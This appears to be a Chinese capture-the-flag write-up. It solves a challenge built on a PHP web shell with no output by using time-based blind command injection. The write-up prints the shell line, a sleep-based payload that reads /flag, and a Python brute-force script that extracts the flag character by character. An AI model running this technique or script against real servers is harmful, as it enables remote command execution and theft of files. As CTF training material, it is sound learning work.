解题步骤

<?php shell_exec($_GET['imagin']);?>

直接给了个shell，但是没有回显，所以考虑命令盲注，
题目已经告诉flag在根目录，构造payload

var=$(cat /flag|cut -c 1);if [ "$var" = "f" ];then sleep 2;fi

cut -c 1是取flag的第一个字符，后面判断var如果等于'f'，就延迟2秒，这样就可以一个字一个字的猜flag
爆破脚本如下

import requests
import time

url='http://题目地址/?imagin='
payload='var=$(cat flag|cut -c {});if [ "$var" = "{}" ];then sleep 1;fi'
flag=''
for i in range(1,50):
    f=flag
    for j in range(33,127):
        while True:
            try:
                u=url+payload.format(i,chr(j))
                responses=requests.get(u,timeout=1)
                break
            except requests.exceptions.ReadTimeout as e:
                flag=flag+chr(j)
                break
            except requests.exceptions.ConnectionError as e:
                pass
    print(flag)
    if f==flag:
        break

运行脚本得到flag